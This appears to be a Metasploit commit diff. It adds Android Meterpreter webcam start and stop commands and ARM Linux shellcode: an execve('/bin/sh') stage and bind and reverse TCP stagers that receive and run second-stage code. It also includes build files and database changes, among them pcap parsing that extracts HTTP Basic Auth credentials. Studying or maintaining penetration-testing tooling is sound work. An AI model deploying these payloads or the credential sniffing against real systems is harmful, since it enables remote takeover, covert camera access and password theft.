import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.hardware.Camera;
import android.util.Log;
import java.lang.reflect.Method;
public class webcam_start_android extends webcam_audio_record implements Command {
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_WEBCAM_INTERFACE_ID = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2);
public static Camera camera;
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int camId = request.getIntValue(TLV_TYPE_WEBCAM_INTERFACE_ID);
try {
Class<?> cameraClass = Class.forName("android.hardware.Camera");
Method cameraOpenMethod = cameraClass.getMethod("open", Integer.TYPE);
if (cameraOpenMethod != null) {
camera = (Camera)cameraOpenMethod.invoke(null, camId - 1);
} else {
camera = Camera.open();
}
camera.setPreviewDisplay(null);
camera.startPreview();
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}
@@ -0,0 +1,28 @@
package com.metasploit.meterpreter.android;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.util.Log;
public class webcam_stop_android extends webcam_audio_record implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
try {
if (webcam_start_android.camera != null) {
webcam_start_android.camera.stopPreview();
webcam_start_android.camera.release();
webcam_start_android.camera = null;
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}
@@ -37,9 +37,12 @@ public class CommandManager {
apiVersion = ExtensionLoader.V1_6;
} catch (Throwable t) {
}
int vmVersion = System.getProperty("java.version").charAt(2) - '2' + ExtensionLoader.V1_2;
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
apiVersion = vmVersion;
String javaversion = System.getProperty("java.version");
if (javaversion != null && javaversion.length() > 2) {
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
apiVersion = vmVersion;
}
this.javaVersion = apiVersion;
// load core commands
@@ -32,6 +32,7 @@ public class Meterpreter {
private List/* <Channel> */channels = new ArrayList();
private final CommandManager commandManager;
private final DataInputStream in;
private final DataOutputStream out;
private final Random rnd = new Random();
private final ByteArrayOutputStream errBuffer;
@@ -39,6 +40,7 @@ public class Meterpreter {
private final boolean loadExtensions;
private List/* <byte[]> */tlvQueue = null;
/**
* Initialize the meterpreter.
*
@@ -53,7 +55,27 @@ public class Meterpreter {
* @throws Exception
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
this(in, rawOut, loadExtensions, redirectErrors, true);
}
/**
* Initialize the meterpreter.
*
* @param in
* Input stream to read from
* @param rawOut
* Output stream to write into
* @param loadExtensions
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
* @param redirectErrors
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
* @param beginExecution
* Whether to begin executing immediately
* @throws Exception
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
this.loadExtensions = loadExtensions;
this.in = in;
this.out = new DataOutputStream(rawOut);
commandManager = new CommandManager();
channels.add(null); // main communication channel?
@@ -64,6 +86,12 @@ public class Meterpreter {
errBuffer = null;
err = System.err;
}
if (beginExecution) {
startExecuting();
}
}
public void startExecuting() throws Exception {
try {
while (true) {
int len = in.readInt();
@@ -46,7 +46,7 @@ public class stdapi_sys_process_get_processes implements Command {
br.close();
proc.waitFor();
} else {
Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid,user,cmd --no-header 2>/dev/null" });
Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid=,user=,command= 2>/dev/null" });
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
+15
View File
@@ -47,6 +47,21 @@
<module>meterpreter</module>
<module>version-compatibility-check</module>
</modules>
<profiles>
<profile>
<activation>
<property>
<name>android.sdk.path</name>
</property>
</activation>
<!-- deploy built files to Metasploit data directory -->
<id>android</id>
<modules>
<module>androidpayload/app</module>
<module>androidpayload/library</module>
</modules>
</profile>
</profiles>
<prerequisites>
<maven>3.0</maven>
</prerequisites>
@@ -0,0 +1,81 @@
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>android-api3-scents</artifactId>
<version>1.5_r4</version>
<packaging>pom</packaging>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>build-helper-maven-plugin</artifactId>
<version>1.8</version>
<executions>
<execution>
<id>attach-artifacts</id>
<phase>package</phase>
<goals>
<goal>attach-artifact</goal>
</goals>
<configuration>
<artifacts>
<artifact>
<file>${project.artifactId}-${project.version}.signature</file>
<type>signature</type>
</artifact>
</artifacts>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<profiles>
<profile>
<!-- regenerate the .signature file like this: -->
<!-- mvn -Dandroid.sdk.path=... -P regenerate package -->
<id>regenerate</id>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>animal-sniffer-maven-plugin</artifactId>
<version>1.9</version>
<executions>
<execution>
<id>regenerate</id>
<phase>package</phase>
<goals>
<goal>build</goal>
</goals>
</execution>
</executions>
<configuration>
<javaHomeClassPath>
<javaHomeClassPath>${android.sdk.path}/platforms/android-3/android.jar</javaHomeClassPath>
</javaHomeClassPath>
</configuration>
</plugin>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<copy todir="${project.basedir}"
file="${project.basedir}/target/${project.artifactId}-${project.version}.signature" />
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>
@@ -0,0 +1,84 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload-Compatibility-android-api3</artifactId>
<parent>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload-Compatibility-parent</artifactId>
<version>1-SNAPSHOT</version>
</parent>
<packaging>jar</packaging>
<name>JavaPayload Compatibility Checks (Android API 3)</name>
<url>http://www.metasploit.com/</url>
<dependencies>
<dependency>
<groupId>com.google.android</groupId>
<artifactId>android</artifactId>
<version>1.5_r4</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.0</version>
<configuration>
<source>1.5</source>
<target>1.5</target>
</configuration>
</plugin>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<id>copy-source</id>
<phase>generate-sources</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<mkdir dir="${project.basedir}/target/generated-sources/copy/" />
<copy todir="${project.basedir}/target/generated-sources/copy">
<fileset dir="${project.basedir}/../java16/target/generated-sources/copy">
<include name="**/*.java" />
<exclude name="**/stdapi_net_config_get_interfaces_V1_6.java" />
<exclude name="**/stdapi_fs_stat_V1_6.java" />
<exclude name="**/stdapi_ui_desktop_screenshot_V1_4.java" />
<exclude name="metasploit/PayloadApplet.java" />
</fileset>
<fileset dir="${project.basedir}/../../androidpayload/app/src" includes="**/*.java" excludes="**/MainActivity.java" />
<fileset dir="${project.basedir}/../../androidpayload/library/src" includes="**/*.java" />
</copy>
</target>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>animal-sniffer-maven-plugin</artifactId>
<version>1.9</version>
<executions>
<execution>
<id>verify-java</id>
<phase>test</phase>
<goals>
<goal>check</goal>
</goals>
<configuration>
<signature>
<groupId>com.metasploit</groupId>
<artifactId>android-api3-scents</artifactId>
<version>1.5_r4</version>
</signature>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
@@ -54,5 +54,7 @@
<module>java14</module>
<module>java13</module>
<module>java12</module>
<module>android-api3-scents</module>
<module>android-api3</module>
</modules>
</project>
+34
View File
@@ -0,0 +1,34 @@
@@
@
@ Name: generic
@ Qualities: -
@ Authors: nemo <nemo [at] felinemenace.org>
@ License: MSF_LICENSE
@ Description:
@
@ dup2 / execve("/bin/sh") stage for Linux ARM LE architecture.
@@
.text
.globl _start
_start:
int dup2(int oldfd, int newfd);
mov r7,#63 ; __NR_dup2
mov r1,#3
up:
mov r0,r12 ; oldfd (descriptor stored in r12 by the stager)
sub r1,#1 ; newfd
swi 0
cmp r1,#1
bge up
@ execve(const char *path, char *const argv[], char *const envp[]);
mov r7,#11 ; __NR_execve
add r0,pc,#24 ; *path
sub sp,#24
str r0,[sp,#-20]
mov r2,#0
str r2,[sp,#-16]
add r1,sp,#-20 ; *argv[]
mov r2,r1 ; *envp[]
swi 0
.string "/bin/sh"
+101
View File
@@ -0,0 +1,101 @@
@@
@
@ Name: stager_sock_bind
@ Qualities: -
@ Authors: nemo <nemo [at] felinemenace.org>
@ License: MSF_LICENSE
@ Description:
@
@ Implementation of a Linux portbind TCP stager for ARM LE architecture.
@
@ Socket descriptor in r12.
@
@ Assemble with: as stager_sock_bind.s -o stager_sock_bind.o
@ Link with: ld stager_sock_bind.o -o stager_sock_bind
@
@ Meta-Information:
@
@ meta-shortname=Linux Bind TCP Stager
@ meta-description=Listen on a port for a connection and run a second stage
@ meta-authors=nemo <nemo [at] felinemenace.org>
@ meta-os=linux
@ meta-arch=armle
@ meta-category=stager
@ meta-connection-type=bind
@ meta-name=bind_tcp
@@
.text
.globl _start
_start:
@ int socket(int domain, int type, int protocol);
ldr r7,=281 @ __NR_socket
mov r0,#2 @ domain = AF_INET
mov r1,#1 @ type = SOCK_STREAM
mov r2,#6 @ protocol = IPPROTO_TCP
swi 0
@ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
mov r12,r0 @ sockfd
add r7,#1 @ __NR_bind
add r1,pc,#176 @ *addr
mov r2,#16 @ addrlen
swi 0
@ int listen(int sockfd, int backlog);
add r7,#2 @ __NR_listen
mov r0,r12 @ sockfd
swi 0
@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
add r7,#1 @ __NR_accept
mov r0,r12 @ sockfd
sub r1,r1,r1 @ *addr = NULL
mov r2,r1 @ *addrlen = NULL
swi 0
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
mov r12,r0 @ sockfd
sub sp,#4
add r7,#6 @ __NR_recv
mov r1,sp @ *buf (on the stack)
mov r2,#4 @ len
mov r3,#0 @ flags
swi 0
@ round length
ldr r1,[sp,#0]
ldr r3,=0xfffff000
and r1,r1,r3
mov r2,#1
lsl r2,#12
@ void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t pgoffset);
add r1,r2 @ length
mov r7, #192 @ __NR_mmap2
ldr r0,=0xffffffff @ *addr = NULL
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
mov r4,r0 @ fd
mov r5,#0 @ pgoffset
swi 0
@ recv loop
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
add r7,#99 @ __NR_recv
mov r1,r0 @ *buf
mov r0,r12 @ sockfd
mov r3,#0 @ flags
@ remove blocksize from total length
loop:
ldr r2,[sp,#0]
sub r2,#1000
str r2,[sp,#0]
cmp r2, #0
ble last
mov r2,#1000 @ len
swi 0
b loop
last:
add r2,#1000 @ len
swi 0
@ branch to code
mov pc,r1
@ addr
@ port: 4444 , sin_fam = 2
.word 0x5c110002
@ ip
.word 0x00000000
@@ -0,0 +1,92 @@
@@
@
@ Name: stager_sock_reverse
@ Qualities: -
@ Authors: nemo <nemo [at] felinemenace.org>
@ License: MSF_LICENSE
@ Description:
@
@ Implementation of a Linux reverse TCP stager for ARM LE architecture.
@
@ Socket descriptor in r12.
@
@ Assemble with: as stager_sock_reverse.s -o stager_sock_reverse.o
@ Link with: ld stager_sock_reverse.o -o stager_sock_reverse
@
@ Meta-Information:
@
@ meta-shortname=Linux Reverse TCP Stager
@ meta-description=Connect back to the framework and run a second stage
@ meta-authors=nemo <nemo [at] felinemenace.org>
@ meta-os=linux
@ meta-arch=armle
@ meta-category=stager
@ meta-connection-type=reverse
@ meta-name=reverse_tcp
@@
.text
.globl _start
_start:
@ int socket(int domain, int type, int protocol);
ldr r7,=281 @ __NR_socket
mov r0,#2 @ domain = AF_INET
mov r1,#1 @ type = SOCK_STREAM
mov r2,#6 @ protocol = IPPROTO_TCP
swi 0
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
mov r12,r0 @ sockfd
add r7,#2 @ __NR_socket
add r1,pc,#144 @ *addr
mov r2,#16 @ addrlen
swi 0
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
mov r0,r12 @ sockfd
sub sp,#4
add r7,#8 @ __NR_recv
mov r1,sp @ *buf (on the stack)
mov r2,#4 @ len
mov r3,#0 @ flags
swi 0
@ round length
ldr r1,[sp,#0]
ldr r3,=0xfffff000
and r1,r1,r3
mov r2,#1
lsl r2,#12
@ void *mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t pgoffset);
add r1,r2 @ length
mov r7, #192 @ __NR_mmap2
ldr r0,=0xffffffff @ *addr = NULL
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
mov r4,r0 @ fd
mov r5,#0 @ pgoffset
swi 0
@ recv loop
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
add r7,#99 @ __NR_recv
mov r1,r0 @ *buf
mov r0,r12 @ sockfd
mov r3,#0 @ flags
@ remove blocksize from total length
loop:
ldr r2,[sp,#0]
sub r2,#1000
str r2,[sp,#0]
cmp r2, #0
ble last
mov r2,#1000 @ len
swi 0
b loop
last:
add r2,#1000 @ len
swi 0
@ branch to code
mov pc,r1
@ addr
@ port: 4444 , sin_fam = 2
.word 0x5c110002
@ ip: 127.0.0.1
.word 0x01aca8c0
@.word 0x0100007f
-22
View File
@@ -1,22 +0,0 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'test/unit'
require 'msf/base'
require 'msf/base/sessions/command_shell.rb.ut'
module Msf
module Base
class TestSuite
def self.suite
suite = Test::Unit::TestSuite.new("Msf Base")
suite << Msf::Session::CommandShell::UnitTest.suite
return suite;
end
end
end
end
-44
View File
@@ -1,44 +0,0 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'test/unit'
require 'msf/core'
require 'msf/core/exceptions.rb.ut'
require 'msf/core/option_container.rb.ut'
require 'msf/core/session_manager.rb.ut'
require 'msf/core/module/author.rb.ut'
require 'msf/core/module/platform_list.rb.ut'
require 'msf/core/module/reference.rb.ut'
require 'msf/core/module/target.rb.ut'
require 'msf/core/handler/bind_tcp.rb.ut'
require 'msf/core/handler/reverse_tcp.rb.ut'
require 'msf/core/exploit.rb.ut'
require 'msf/core/exploit/tcp.rb.ut'
require 'msf/core/exploit/dcerpc.rb.ut'
class Msf::TestSuite
def self.suite
suite = Test::Unit::TestSuite.new("Msf Core")
suite << Msf::Exceptions::UnitTest.suite
suite << Msf::OptionContainer::UnitTest.suite
suite << Msf::SessionManager::UnitTest.suite
suite << Msf::Module::Author::UnitTest.suite
suite << Msf::Module::PlatformList::UnitTest.suite
suite << Msf::Module::Reference::UnitTest.suite
suite << Msf::Module::Target::UnitTest.suite
suite << Msf::Handler::BindTcp::UnitTest.suite
suite << Msf::Handler::ReverseTcp::UnitTest.suite
suite << Msf::Exploit::UnitTest.suite
suite << Msf::Exploit::Remote::Tcp::UnitTest.suite
suite << Msf::Exploit::Remote::DCERPC::UnitTest.suite
return suite;
end
end
+59 -13
View File
@@ -21,7 +21,17 @@ module Auxiliary::Report
def myworkspace
@myworkspace = framework.db.find_workspace(self.workspace)
end
end
def mytask
if self[:task]
return self[:task].record
elsif @task && @task.class == Mdm::Task
return @task
else
return nil
end
end
def inside_workspace_boundary?(ip)
return true if not framework.db.active
@@ -41,7 +51,10 @@ module Auxiliary::Report
#
def report_host(opts)
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_host(opts)
end
@@ -63,7 +76,10 @@ module Auxiliary::Report
#
def report_client(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_client(opts)
end
@@ -78,25 +94,37 @@ module Auxiliary::Report
#
def report_service(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_service(opts)
end
def report_note(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_note(opts)
end
def report_auth_info(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_auth_info(opts)
end
def report_vuln(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_vuln(opts)
end
@@ -104,37 +132,55 @@ module Auxiliary::Report
# is no longer implemented.
def report_exploit(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_exploit(opts)
end
def report_loot(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_loot(opts)
end
def report_web_site(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_web_site(opts)
end
def report_web_page(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_web_page(opts)
end
def report_web_form(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_web_form(opts)
end
def report_web_vuln(opts={})
return if not db
opts = {:workspace => myworkspace}.merge(opts)
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_web_vuln(opts)
end
+278 -180
View File
@@ -376,6 +376,13 @@ class DBManager
host.save!
end
if opts[:task]
Mdm::TaskHost.create(
:task => opts[:task],
:host => host
)
end
host
}
end
@@ -592,7 +599,15 @@ class DBManager
if (service and service.changed?)
msf_import_timestamps(opts,service)
service.save!
end
end
if opts[:task]
Mdm::TaskService.create(
:task => opts[:task],
:service => service
)
end
ret[:service] = service
}
end
@@ -721,17 +736,18 @@ class DBManager
h_opts[:workspace] = wspace
host = find_or_create_host(h_opts)
sess_data = {
:host_id => host.id,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:routes => [],
:datastore => session.exploit_datastore.to_h,
:opened_at => Time.now.utc,
:last_seen => Time.now.utc,
:local_id => session.sid
:host_id => host.id,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:routes => [],
:datastore => session.exploit_datastore.to_h,
:port => session.session_port,
:opened_at => Time.now.utc,
:last_seen => Time.now.utc,
:local_id => session.sid
}
elsif opts[:host]
raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host
@@ -1588,7 +1604,15 @@ class DBManager
unless opts[:updated_at] || opts["updated_at"]
cred.updated_at = Time.now.utc
cred.save!
end
end
if opts[:task]
Mdm::TaskCred.create(
:task => opts[:task],
:cred => cred
)
end
ret[:cred] = cred
end
@@ -3096,14 +3120,15 @@ class DBManager
desc_text = item.elements['description'].text
next if desc_text.nil? or desc_text.empty?
desc_data = {
:workspace => wspace,
:host => addr,
:type => "service.nikto.scan.description",
:data => desc_text,
:proto => "tcp",
:port => port.to_i,
:sname => uri.scheme,
:update => :unique_data
:workspace => wspace,
:host => addr,
:type => "service.nikto.scan.description",
:data => desc_text,
:proto => "tcp",
:port => port.to_i,
:sname => uri.scheme,
:update => :unique_data,
:task => args[:task]
}
# Always report it as a note.
report_note(desc_data)
@@ -3208,13 +3233,27 @@ class DBManager
next if (bl | [saddr,daddr]).size == bl.size # Both hosts are blacklisted, skip everything.
unless( bl.include?(saddr) || rfc3330_reserved(saddr))
yield(:address,saddr) if block and !seen_hosts.keys.include?(saddr)
report_host(:workspace => wspace, :host => saddr, :state => Msf::HostState::Alive) unless seen_hosts[saddr]
unless seen_hosts[saddr]
report_host(
:workspace => wspace,
:host => saddr,
:state => Msf::HostState::Alive,
:task => args[:task]
)
end
seen_hosts[saddr] ||= []
end
unless( bl.include?(daddr) || rfc3330_reserved(daddr))
yield(:address,daddr) if block and !seen_hosts.keys.include?(daddr)
report_host(:workspace => wspace, :host => daddr, :state => Msf::HostState::Alive) unless seen_hosts[daddr]
unless seen_hosts[daddr]
report_host(
:workspace => wspace,
:host => daddr,
:state => Msf::HostState::Alive,
:task => args[:task]
)
end
seen_hosts[daddr] ||= []
end
@@ -3224,9 +3263,10 @@ class DBManager
if seen_hosts[saddr]
unless seen_hosts[saddr].include? [pkt.tcp_src,"tcp"]
report_service(
:workspace => wspace, :host => saddr,
:proto => "tcp", :port => pkt.tcp_src,
:state => Msf::ServiceState::Open
:workspace => wspace, :host => saddr,
:proto => "tcp", :port => pkt.tcp_src,
:state => Msf::ServiceState::Open,
:task => args[:task]
)
seen_hosts[saddr] << [pkt.tcp_src,"tcp"]
yield(:service,"%s:%d/%s" % [saddr,pkt.tcp_src,"tcp"])
@@ -3239,9 +3279,10 @@ class DBManager
if seen_hosts[xaddr]
unless seen_hosts[xaddr].include? [pkt.udp_src,"udp"]
report_service(
:workspace => wspace, :host => xaddr,
:proto => "udp", :port => pkt.udp_src,
:state => Msf::ServiceState::Open
:workspace => wspace, :host => xaddr,
:proto => "udp", :port => pkt.udp_src,
:state => Msf::ServiceState::Open,
:task => args[:task]
)
seen_hosts[xaddr] << [pkt.udp_src,"udp"]
yield(:service,"%s:%d/%s" % [xaddr,pkt.udp_src,"udp"])
@@ -3252,9 +3293,10 @@ class DBManager
if seen_hosts[saddr]
unless seen_hosts[saddr].include? [pkt.udp_src,"udp"]
report_service(
:workspace => wspace, :host => saddr,
:proto => "udp", :port => pkt.udp_src,
:state => Msf::ServiceState::Open
:workspace => wspace, :host => saddr,
:proto => "udp", :port => pkt.udp_src,
:state => Msf::ServiceState::Open,
:task => args[:task]
)
seen_hosts[saddr] << [pkt.udp_src,"udp"]
yield(:service,"%s:%d/%s" % [saddr,pkt.udp_src,"udp"])
@@ -3263,7 +3305,7 @@ class DBManager
end
end # tcp or udp
inspect_single_packet(pkt,wspace)
inspect_single_packet(pkt,wspace,args[:task])
end # data.body.map
@@ -3276,29 +3318,30 @@ class DBManager
# Do all the single packet analysis we can while churning through the pcap
# the first time. Multiple packet inspection will come later, where we can
# do stream analysis, compare requests and responses, etc.
def inspect_single_packet(pkt,wspace)
def inspect_single_packet(pkt,wspace,task=nil)
if pkt.is_tcp? or pkt.is_udp?
inspect_single_packet_http(pkt,wspace)
inspect_single_packet_http(pkt,wspace,task)
end
end
# Checks for packets that are headed towards port 80, are tcp, contain an HTTP/1.0
# line, contains an Authorization line, contains a b64-encoded credential, and
# extracts it. Reports this credential and solidifies the service as HTTP.
def inspect_single_packet_http(pkt,wspace)
def inspect_single_packet_http(pkt,wspace,task=nil)
# First, check the server side (data from port 80).
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/)
if http_server_match.kind_of?(MatchData) and http_server_match[1]
report_service(
:workspace => wspace,
:host => pkt.ip_saddr,
:port => pkt.tcp_src,
:proto => "tcp",
:name => "http",
:info => http_server_match[1],
:state => Msf::ServiceState::Open
:workspace => wspace,
:host => pkt.ip_saddr,
:port => pkt.tcp_src,
:proto => "tcp",
:name => "http",
:info => http_server_match[1],
:state => Msf::ServiceState::Open,
:task => task
)
# That's all we want to know from this service.
return :something_significant
@@ -3321,21 +3364,23 @@ class DBManager
# to come later.
user,pass = b64_cred.unpack("m*").first.split(/:/,2)
report_service(
:workspace => wspace,
:host => pkt.ip_daddr,
:port => pkt.tcp_dst,
:proto => "tcp",
:name => "http"
:workspace => wspace,
:host => pkt.ip_daddr,
:port => pkt.tcp_dst,
:proto => "tcp",
:name => "http",
:task => task
)
report_auth_info(
:workspace => wspace,
:host => pkt.ip_daddr,
:port => pkt.tcp_dst,
:proto => "tcp",
:type => "password",
:active => true, # Once we can build a stream, determine if the auth was successful. For now, assume it is.
:user => user,
:pass => pass
:workspace => wspace,
:host => pkt.ip_daddr,
:port => pkt.tcp_dst,
:proto => "tcp",
:type => "password",
:active => true, # Once we can build a stream, determine if the auth was successful. For now, assume it is.
:user => user,
:pass => pass,
:task => task
)
# That's all we want to know from this service.
return :something_significant
@@ -3364,7 +3409,8 @@ class DBManager
conf = {
:workspace => wspace,
:host => ip,
:name => name
:name => name,
:task => args[:task]
}
conf[:os_name] = os if os
@@ -3453,12 +3499,13 @@ class DBManager
end
cred_info = {
:host => addr,
:port => port,
:user => user,
:pass => pass,
:type => ptype,
:workspace => wspace
:host => addr,
:port => port,
:user => user,
:pass => pass,
:type => ptype,
:workspace => wspace,
:task => args[:task]
}
cred_info[:proto] = proto if proto
cred_info[:sname] = sname if sname
@@ -3628,17 +3675,18 @@ class DBManager
# Import Loot
doc.elements.each("/#{btag}/loots/loot") do |loot|
next if bl.include? host_info[loot.elements["host-id"].text.to_s.strip]
loot_info = {}
loot_info[:host] = host_info[loot.elements["host-id"].text.to_s.strip]
loot_info[:workspace] = args[:wspace]
loot_info[:ctype] = nils_for_nulls(loot.elements["content-type"].text.to_s.strip)
loot_info[:info] = nils_for_nulls(unserialize_object(loot.elements["info"], allow_yaml))
loot_info[:ltype] = nils_for_nulls(loot.elements["ltype"].text.to_s.strip)
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
loot_info[:created_at] = nils_for_nulls(loot.elements["created-at"].text.to_s.strip)
loot_info[:updated_at] = nils_for_nulls(loot.elements["updated-at"].text.to_s.strip)
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
loot_info[:orig_path] = nils_for_nulls(loot.elements["path"].text.to_s.strip)
loot_info = {}
loot_info[:host] = host_info[loot.elements["host-id"].text.to_s.strip]
loot_info[:workspace] = args[:wspace]
loot_info[:ctype] = nils_for_nulls(loot.elements["content-type"].text.to_s.strip)
loot_info[:info] = nils_for_nulls(unserialize_object(loot.elements["info"], allow_yaml))
loot_info[:ltype] = nils_for_nulls(loot.elements["ltype"].text.to_s.strip)
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
loot_info[:created_at] = nils_for_nulls(loot.elements["created-at"].text.to_s.strip)
loot_info[:updated_at] = nils_for_nulls(loot.elements["updated-at"].text.to_s.strip)
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
loot_info[:orig_path] = nils_for_nulls(loot.elements["path"].text.to_s.strip)
loot_info[:task] = args[:task]
tmp = args[:ifd][:zip_tmp]
loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path]
if !loot.elements["service-id"].text.to_s.strip.empty?
@@ -3723,18 +3771,18 @@ class DBManager
# Import Reports
doc.elements.each("/#{btag}/reports/report") do |report|
report_info = {}
report_info[:workspace] = args[:wspace]
# Should user be imported (original) or declared (the importing user)?
report_info[:user] = nils_for_nulls(report.elements["created-by"].text.to_s.strip)
report_info[:options] = nils_for_nulls(report.elements["options"].text.to_s.strip)
report_info[:rtype] = nils_for_nulls(report.elements["rtype"].text.to_s.strip)
report_info[:created_at] = nils_for_nulls(report.elements["created-at"].text.to_s.strip)
report_info[:updated_at] = nils_for_nulls(report.elements["updated-at"].text.to_s.strip)
report_info[:orig_path] = nils_for_nulls(report.elements["path"].text.to_s.strip)
tmp = args[:ifd][:zip_tmp]
report_info[:orig_path].gsub!(/^\./,tmp) if report_info[:orig_path]
tmp = args[:ifd][:zip_tmp]
report_info = {}
report_info[:workspace] = args[:wspace]
# Should user be imported (original) or declared (the importing user)?
report_info[:user] = nils_for_nulls(report.elements["created-by"].text.to_s.strip)
report_info[:options] = nils_for_nulls(report.elements["options"].text.to_s.strip)
report_info[:rtype] = nils_for_nulls(report.elements["rtype"].text.to_s.strip)
report_info[:created_at] = nils_for_nulls(report.elements["created-at"].text.to_s.strip)
report_info[:updated_at] = nils_for_nulls(report.elements["updated-at"].text.to_s.strip)
report_info[:orig_path] = nils_for_nulls(report.elements["path"].text.to_s.strip)
